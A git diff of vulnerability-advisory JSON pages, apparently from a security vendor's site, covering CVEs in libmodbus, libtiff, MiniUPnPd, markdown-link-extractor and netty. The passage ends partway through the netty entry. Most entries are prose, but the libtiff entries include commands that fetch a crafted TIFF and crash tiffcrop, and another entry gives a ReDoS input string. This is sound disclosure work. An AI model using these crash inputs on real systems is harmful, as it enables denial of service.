\nThe library implementation of the modbus_reply() function of module src/modbus.c module does not properly check that the number of registers/coils to be written corresponds to the size of the provided payload data.
The original exploit was developed by JFrog researches, using smart fuzzing on the library compiled separately from the rest of the code. There is another CVE (CVE-2019-14463) for this library, for the modbus_write_registers function.
The official solution fixes the bug by adding code to check for the correspondence between the number of the registers/coils to be written and the data provided in the payload.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-14462 Critical severity. Insufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.","date_published":"2019-07-31","xray_id":"XRAY-150047","vul_id":"CVE-2019-14462","severity":"critical","discovered_by":"Maor Vermucht","last_updated":"2019-07-31","cvss":9.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/libmodbus-modbus-fc-write-multiple-registers-oob-r-xray-150046/index.json b/assets/data/vulnerabilities/libmodbus-modbus-fc-write-multiple-registers-oob-r-xray-150046/index.json index 17e400234c..6599f1af18 100644 --- a/assets/data/vulnerabilities/libmodbus-modbus-fc-write-multiple-registers-oob-r-xray-150046/index.json +++ b/assets/data/vulnerabilities/libmodbus-modbus-fc-write-multiple-registers-oob-r-xray-150046/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"libmodbus MODBUS_FC_WRITE_MULTIPLE_REGISTERS OOB-R","path":"/vulnerabilities/libmodbus-modbus-fc-write-multiple-registers-oob-r-xray-150046/","content":"Summary
\nInsufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.
\nComponent
\n\nAffected versions
\nlibmodbus [3.0.0,3.0.7), fixed on 3.0.7
\nlibmodbus [3.1.0,3.1.5), fixed on 3.1.5
\nDescription
\nlibmodbus is a C library that provides an implementation of the Modbus protocol. It runs on Linux, Windows, FreeBSD, OS X, and QNX, and it is widely used in embedded devices.
\nAttackers can trigger the exploit by invoking the modbus_write_registers(3) function (which implements the Modbus Write Multiple Registers protocol call) while specifying a large number of registers to be written. Since the code takes this parameter from the network packet without checking it for validity against the length of the provided payload, the attackers can specify a large enough number to cause memory overwrites. Memory contents directly following the payload will be saved to Modbus register units. These contents can be later read out using the modbus_read_registers() function. This results in a memory exfiltration vulnerability, exposing arbitrary memory contents.
\nThe attacker must be on the same network segment as the target device, limiting the potential for this attack.
\nThe library implementation of the modbus_reply() function of module src/modbus.c module does not check properly that the number of registers/coils to be written corresponds to the the size of the provided payload data.
The original exploit was developed by JFrog researches, using smart fuzzing on the library compiled separately from the rest of the code. There is another CVE (CVE-2019-14462) for this library, for the modbus_write_bits function.
The official solution (see commits 1 and 2) fixes the bug by adding code to check for the correspondence between the number of the registers to be written and the data provided in the payload.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-14463 Critical severity. Insufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.","date_published":"2019-07-31","xray_id":"XRAY-150046","vul_id":"CVE-2019-14463","severity":"critical","discovered_by":"Maor Vermucht","last_updated":"2019-07-31","cvss":9.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"libmodbus MODBUS_FC_WRITE_MULTIPLE_REGISTERS OOB-R","path":"/vulnerabilities/libmodbus-modbus-fc-write-multiple-registers-oob-r-xray-150046/","content":"Summary
\nInsufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.
\nComponent
\n\nAffected versions
\nlibmodbus [3.0.0,3.0.7), fixed on 3.0.7
\nlibmodbus [3.1.0,3.1.5), fixed on 3.1.5
\nDescription
\nlibmodbus is a C library that provides an implementation of the Modbus protocol. It runs on Linux, Windows, FreeBSD, OS X, and QNX, and it is widely used in embedded devices.
\nAttackers can trigger the exploit by invoking the modbus_write_registers(3) function (which implements the Modbus Write Multiple Registers protocol call) while specifying a large number of registers to be written. Since the code takes this parameter from the network packet without checking it for validity against the length of the provided payload, the attackers can specify a large enough number to cause memory overwrites. Memory contents directly following the payload will be saved to Modbus register units. These contents can be later read out using the modbus_read_registers() function. This results in a memory exfiltration vulnerability, exposing arbitrary memory contents.
\nThe attacker must be on the same network segment as the target device, limiting the potential for this attack.
\nThe library implementation of the modbus_reply() function of module src/modbus.c module does not check properly that the number of registers/coils to be written corresponds to the the size of the provided payload data.
The original exploit was developed by JFrog researches, using smart fuzzing on the library compiled separately from the rest of the code. There is another CVE (CVE-2019-14462) for this library, for the modbus_write_bits function.
The official solution (see commits 1 and 2) fixes the bug by adding code to check for the correspondence between the number of the registers to be written and the data provided in the payload.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-14463 Critical severity. Insufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.","date_published":"2019-07-31","xray_id":"XRAY-150046","vul_id":"CVE-2019-14463","severity":"critical","discovered_by":"Maor Vermucht","last_updated":"2019-07-31","cvss":9.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/libtiff-buffer-overflow-dos-xray-259933/index.json b/assets/data/vulnerabilities/libtiff-buffer-overflow-dos-xray-259933/index.json index 3e15039945..e14fc21eb2 100644 --- a/assets/data/vulnerabilities/libtiff-buffer-overflow-dos-xray-259933/index.json +++ b/assets/data/vulnerabilities/libtiff-buffer-overflow-dos-xray-259933/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"libtiff tiffcrop buffer overflow DoS","path":"/vulnerabilities/libtiff-buffer-overflow-dos-xray-259933/","content":"Summary
\nA global-memory buffer overflow in the libtiff library leads to denial of service when processing crafted TIFF images with tiffcrop.
\nComponent
\n\nAffected versions
\nlibtiff (,), no fixed release
\nDescription
\nA 4-byte global-memory buffer overflow occurs when tiffcrop is run with the -i argument against a crafted TIFF file, leading to a crash of tiffcrop.
PoC
\nCompile libtiff 4.4.0 with ASAN
\ncurl https://gitlab.com/libtiff/libtiff/-/archive/v4.4.0/libtiff-v4.4.0.tar.gz -o libtiff-v4.4.0.tar.gz\ntar -xf libtiff-v4.4.0.tar.gz\ncd libtiff-v4.4.0\nCC=gcc CXX=g++ CFLAGS=\"-ggdb -fsanitize=address\" ./configure && make\nRun the PoC
\ncd tools\ncurl https://gitlab.com/libtiff/libtiff/uploads/9943030806e03e7d2b8dff5ec0341b6f/poc.zip -o poc.zip\nunzip poc.zip\n./tiffcrop -i poc.tif a.tif\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-34526 Medium severity. A global-memory buffer overflow in the libtiff library leads to denial of service when processing crafted TIFF images with tiffcrop.","date_published":"2022-11-16","xray_id":"XRAY-259933","vul_id":"CVE-2022-34526","severity":"medium","discovered_by":"Nitay Meiron","last_updated":"2022-11-16","cvss":6.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"libtiff tiffcrop buffer overflow DoS","path":"/vulnerabilities/libtiff-buffer-overflow-dos-xray-259933/","content":"Summary
\nA global-memory buffer overflow in the libtiff library leads to denial of service when processing crafted TIFF images with tiffcrop.
\nComponent
\n\nAffected versions
\nlibtiff (,), no fixed release
\nDescription
\nA 4-byte global-memory buffer overflow occurs when tiffcrop is run with the -i argument against a crafted TIFF file, leading to a crash of tiffcrop.
PoC
\nCompile libtiff 4.4.0 with ASAN
\ncurl https://gitlab.com/libtiff/libtiff/-/archive/v4.4.0/libtiff-v4.4.0.tar.gz -o libtiff-v4.4.0.tar.gz\ntar -xf libtiff-v4.4.0.tar.gz\ncd libtiff-v4.4.0\nCC=gcc CXX=g++ CFLAGS=\"-ggdb -fsanitize=address\" ./configure && make\nRun the PoC
\ncd tools\ncurl https://gitlab.com/libtiff/libtiff/uploads/9943030806e03e7d2b8dff5ec0341b6f/poc.zip -o poc.zip\nunzip poc.zip\n./tiffcrop -i poc.tif a.tif\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-34526 Medium severity. A global-memory buffer overflow in the libtiff library leads to denial of service when processing crafted TIFF images with tiffcrop.","date_published":"2022-11-16","xray_id":"XRAY-259933","vul_id":"CVE-2022-34526","severity":"medium","discovered_by":"Nitay Meiron","last_updated":"2022-11-16","cvss":6.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/libtiff-nullderef-dos-xray-522144/index.json b/assets/data/vulnerabilities/libtiff-nullderef-dos-xray-522144/index.json index 8a90fa413c..d90cd6e8f0 100644 --- a/assets/data/vulnerabilities/libtiff-nullderef-dos-xray-522144/index.json +++ b/assets/data/vulnerabilities/libtiff-nullderef-dos-xray-522144/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"libtiff NULL dereference DoS","path":"/vulnerabilities/libtiff-nullderef-dos-xray-522144/","content":"Summary
\nA NULL pointer dereference in TIFFClose() is caused by a failure to open an output file (non-existent path or a path that requires permissions like /dev/null) while specifying zones.
\nComponent
\nlibtiff:libtiff
\nAffected versions
\n[3.9.0,4.5.1), Fixed in 4.5.1
\nDescription
\nA NULL pointer dereference in TIFFClose() is caused by a failure to open an output file (non-existent path or a path that requires permissions like /dev/null) while specifying zones.
\nPoC
\n$ git clone https://gitlab.com/libtiff/libtiff.git\n$ cd libtiff/\n$ ./autogen.sh\n$ ./configure && make\n$ tools/tiffcrop -Z 1:1 empty.tif /non-existent-path\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\n\n","description":"CVE-2023-3316, MEDIUM, A NULL pointer dereference in TIFFClose() is caused by a failure to open an output file (non-existent path or a path that requires permissions like /dev/null) while specifying zones.","date_published":"2023-06-19","xray_id":"XRAY-522144","vul_id":"CVE-2023-3316","severity":"medium","discovered_by":"Yair Mizrahi","last_updated":"2023-06-19","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"libtiff NULL dereference DoS","path":"/vulnerabilities/libtiff-nullderef-dos-xray-522144/","content":"Summary
\nA NULL pointer dereference in TIFFClose() is caused by a failure to open an output file (non-existent path or a path that requires permissions like /dev/null) while specifying zones.
\nComponent
\nlibtiff:libtiff
\nAffected versions
\n[3.9.0,4.5.1), Fixed in 4.5.1
\nDescription
\nA NULL pointer dereference in TIFFClose() is caused by a failure to open an output file (non-existent path or a path that requires permissions like /dev/null) while specifying zones.
\nPoC
\n$ git clone https://gitlab.com/libtiff/libtiff.git\n$ cd libtiff/\n$ ./autogen.sh\n$ ./configure && make\n$ tools/tiffcrop -Z 1:1 empty.tif /non-existent-path\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\n\n","description":"CVE-2023-3316, MEDIUM, A NULL pointer dereference in TIFFClose() is caused by a failure to open an output file (non-existent path or a path that requires permissions like /dev/null) while specifying zones.","date_published":"2023-06-19","xray_id":"XRAY-522144","vul_id":"CVE-2023-3316","severity":"medium","discovered_by":"Yair Mizrahi","last_updated":"2023-06-19","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/markdown-link-extractor-redos-xray-211350/index.json b/assets/data/vulnerabilities/markdown-link-extractor-redos-xray-211350/index.json index 271c4b15e4..0435aa11b0 100644 --- a/assets/data/vulnerabilities/markdown-link-extractor-redos-xray-211350/index.json +++ b/assets/data/vulnerabilities/markdown-link-extractor-redos-xray-211350/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"markdown-link-extractor ReDoS","path":"/vulnerabilities/markdown-link-extractor-redos-xray-211350/","content":"Summary
\nExponential ReDoS in markdown-link-extractor leads to denial of service
\nComponent
\n\nAffected versions
\nmarkdown-link-extractor (,3.0.1]|[4.0.0], fixed in 3.0.2 and 4.0.1
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the markdown-link-extractor npm package, when an attacker is able to supply arbitrary input to the module's exported function
\nPoC
\n'![' + '\"\\\\\\\\\"'.repeat(i))
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43308 Medium severity. Exponential ReDoS in markdown-link-extractor leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-211350","vul_id":"CVE-2021-43308","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"markdown-link-extractor ReDoS","path":"/vulnerabilities/markdown-link-extractor-redos-xray-211350/","content":"Summary
\nExponential ReDoS in markdown-link-extractor leads to denial of service
\nComponent
\n\nAffected versions
\nmarkdown-link-extractor (,3.0.1]|[4.0.0], fixed in 3.0.2 and 4.0.1
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the markdown-link-extractor npm package, when an attacker is able to supply arbitrary input to the module's exported function
\nPoC
\n'![' + '\"\\\\\\\\\"'.repeat(i))
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43308 Medium severity. Exponential ReDoS in markdown-link-extractor leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-211350","vul_id":"CVE-2021-43308","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/minissdpd-updatedevice-uaf-xray-161552/index.json b/assets/data/vulnerabilities/minissdpd-updatedevice-uaf-xray-161552/index.json index a020e22746..7cc0f8ab74 100644 --- a/assets/data/vulnerabilities/minissdpd-updatedevice-uaf-xray-161552/index.json +++ b/assets/data/vulnerabilities/minissdpd-updatedevice-uaf-xray-161552/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"MiniSSDPd updateDevice UaF","path":"/vulnerabilities/minissdpd-updatedevice-uaf-xray-161552/","content":"Summary
\nThe updateDevice function in MiniSSDPd allows a remote attacker to crash the process due to a Use-After-Free
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that there was a use after free vulnerability in\nminissdpd, a network device discovery daemon. A remote attacker could\nabuse this to crash the process.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12106 High severity. The updateDevice function in MiniSSDPd allows a remote attacker to crash the process due to a Use-After-Free","date_published":"2019-02-06","xray_id":"XRAY-161552","vul_id":"CVE-2019-12106","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"MiniSSDPd updateDevice UaF","path":"/vulnerabilities/minissdpd-updatedevice-uaf-xray-161552/","content":"Summary
\nThe updateDevice function in MiniSSDPd allows a remote attacker to crash the process due to a Use-After-Free
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that there was a use after free vulnerability in\nminissdpd, a network device discovery daemon. A remote attacker could\nabuse this to crash the process.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12106 High severity. The updateDevice function in MiniSSDPd allows a remote attacker to crash the process due to a Use-After-Free","date_published":"2019-02-06","xray_id":"XRAY-161552","vul_id":"CVE-2019-12106","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/miniupnpd-addportmapping-null-pointer-dereference-xray-148211/index.json b/assets/data/vulnerabilities/miniupnpd-addportmapping-null-pointer-dereference-xray-148211/index.json index 359019fcfc..16debe40c6 100644 --- a/assets/data/vulnerabilities/miniupnpd-addportmapping-null-pointer-dereference-xray-148211/index.json +++ b/assets/data/vulnerabilities/miniupnpd-addportmapping-null-pointer-dereference-xray-148211/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"MiniUPnPd AddPortMapping NULL pointer dereference","path":"/vulnerabilities/miniupnpd-addportmapping-null-pointer-dereference-xray-148211/","content":"Summary
\nDenial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpredirect.c
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd incorrectly handled an empty description\nwhen port mapping. An attacker could possibly use this issue to cause\nMiniUPnPd to crash, resulting in a denial of service.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12110 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpredirect.c","date_published":"2019-02-06","xray_id":"XRAY-148211","vul_id":"CVE-2019-12110","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"MiniUPnPd AddPortMapping NULL pointer dereference","path":"/vulnerabilities/miniupnpd-addportmapping-null-pointer-dereference-xray-148211/","content":"Summary
\nDenial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpredirect.c
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd incorrectly handled an empty description\nwhen port mapping. An attacker could possibly use this issue to cause\nMiniUPnPd to crash, resulting in a denial of service.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12110 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpredirect.c","date_published":"2019-02-06","xray_id":"XRAY-148211","vul_id":"CVE-2019-12110","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/miniupnpd-copyipv6-ifdifferent-null-pointer-dereference-xray-162485/index.json b/assets/data/vulnerabilities/miniupnpd-copyipv6-ifdifferent-null-pointer-dereference-xray-162485/index.json index b3986ef608..1e2a27e305 100644 --- a/assets/data/vulnerabilities/miniupnpd-copyipv6-ifdifferent-null-pointer-dereference-xray-162485/index.json +++ b/assets/data/vulnerabilities/miniupnpd-copyipv6-ifdifferent-null-pointer-dereference-xray-162485/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"MiniUPnPd copyIPv6IfDifferent NULL pointer dereference","path":"/vulnerabilities/miniupnpd-copyipv6-ifdifferent-null-pointer-dereference-xray-162485/","content":"Summary
\nDenial Of Service in MiniUPnPd due to a NULL pointer dereference in pcpserver.c
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd did not properly parse certain PCP\nrequests. An attacker could possibly use this issue to cause MiniUPnPd to\ncrash, resulting in a denial of service.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12111 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in pcpserver.c","date_published":"2019-02-06","xray_id":"XRAY-162485","vul_id":"CVE-2019-12111","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"MiniUPnPd copyIPv6IfDifferent NULL pointer dereference","path":"/vulnerabilities/miniupnpd-copyipv6-ifdifferent-null-pointer-dereference-xray-162485/","content":"Summary
\nDenial Of Service in MiniUPnPd due to a NULL pointer dereference in pcpserver.c
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd did not properly parse certain PCP\nrequests. An attacker could possibly use this issue to cause MiniUPnPd to\ncrash, resulting in a denial of service.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12111 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in pcpserver.c","date_published":"2019-02-06","xray_id":"XRAY-162485","vul_id":"CVE-2019-12111","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148212/index.json b/assets/data/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148212/index.json index 6bdd728c09..0409816adb 100644 --- a/assets/data/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148212/index.json +++ b/assets/data/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148212/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"MiniUPnPd GetOutboundPinholeTimeout NULL pointer dereference","path":"/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148212/","content":"Summary
\nDenial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for rem_port
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd incorrectly handled unpopulated user XML\ninput. An attacker could possibly use this issue to cause MiniUPnPd to\ncrash, resulting in a denial of service.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12109 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for rem_port","date_published":"2019-02-06","xray_id":"XRAY-148212","vul_id":"CVE-2019-12109","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"MiniUPnPd GetOutboundPinholeTimeout NULL pointer dereference","path":"/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148212/","content":"Summary
\nDenial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for rem_port
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd incorrectly handled unpopulated user XML\ninput. An attacker could possibly use this issue to cause MiniUPnPd to\ncrash, resulting in a denial of service.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12109 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for rem_port","date_published":"2019-02-06","xray_id":"XRAY-148212","vul_id":"CVE-2019-12109","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148213/index.json b/assets/data/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148213/index.json index f23f9d77c8..b0bcca010b 100644 --- a/assets/data/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148213/index.json +++ b/assets/data/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148213/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"MiniUPnPd GetOutboundPinholeTimeout NULL pointer dereference","path":"/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148213/","content":"Summary
\nDenial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for int_port
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd incorrectly handled unpopulated user XML\ninput. An attacker could possibly use this issue to cause MiniUPnPd to\ncrash, resulting in a denial of service.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12108 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for int_port","date_published":"2019-02-06","xray_id":"XRAY-148213","vul_id":"CVE-2019-12108","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"MiniUPnPd GetOutboundPinholeTimeout NULL pointer dereference","path":"/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148213/","content":"Summary
\nDenial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for int_port
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd incorrectly handled unpopulated user XML\ninput. An attacker could possibly use this issue to cause MiniUPnPd to\ncrash, resulting in a denial of service.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12108 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for int_port","date_published":"2019-02-06","xray_id":"XRAY-148213","vul_id":"CVE-2019-12108","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/miniupnpd-upnp-event-prepare-infoleak-xray-148214/index.json b/assets/data/vulnerabilities/miniupnpd-upnp-event-prepare-infoleak-xray-148214/index.json index 7e253a38c4..b420913d67 100644 --- a/assets/data/vulnerabilities/miniupnpd-upnp-event-prepare-infoleak-xray-148214/index.json +++ b/assets/data/vulnerabilities/miniupnpd-upnp-event-prepare-infoleak-xray-148214/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"MiniUPnPd upnp_event_prepare infoleak","path":"/vulnerabilities/miniupnpd-upnp-event-prepare-infoleak-xray-148214/","content":"Summary
\nInformation leakage in MiniUPnPd due to improper validation of snprintf return value
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd did not properly validate callback\naddresses. A remote attacker could possibly use this issue to expose\nsensitive information.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12107 High severity. Information leakage in MiniUPnPd due to improper validation of snprintf return value","date_published":"2019-02-06","xray_id":"XRAY-148214","vul_id":"CVE-2019-12107","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"MiniUPnPd upnp_event_prepare infoleak","path":"/vulnerabilities/miniupnpd-upnp-event-prepare-infoleak-xray-148214/","content":"Summary
\nInformation leakage in MiniUPnPd due to improper validation of snprintf return value
\nComponent
\n\nAffected versions
\nMiniUPnP (,2.1], fixed in 2.2.0
\nDescription
\nIt was discovered that MiniUPnPd did not properly validate callback\naddresses. A remote attacker could possibly use this issue to expose\nsensitive information.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-12107 High severity. Information leakage in MiniUPnPd due to improper validation of snprintf return value","date_published":"2019-02-06","xray_id":"XRAY-148214","vul_id":"CVE-2019-12107","severity":"high","discovered_by":"Ben Barnea","last_updated":"2019-02-06","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/netty-bzip2-decoder-dos-xray-186801/index.json b/assets/data/vulnerabilities/netty-bzip2-decoder-dos-xray-186801/index.json index 284d47fd38..d8ea7c21ba 100644 --- a/assets/data/vulnerabilities/netty-bzip2-decoder-dos-xray-186801/index.json +++ b/assets/data/vulnerabilities/netty-bzip2-decoder-dos-xray-186801/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"netty Bzip2 decoder DoS","path":"/vulnerabilities/netty-bzip2-decoder-dos-xray-186801/","content":"Summary
\nResource exhaustion in netty's Bzip2 decoder leads to denial of service
\nComponent
\n\nAffected versions
\n[4.1.0 - 4.1.67], fixed in 4.1.68
\nDescription
\nnetty is a popular client/server framework which enables quick and easy development of network applications such as protocol servers and clients.
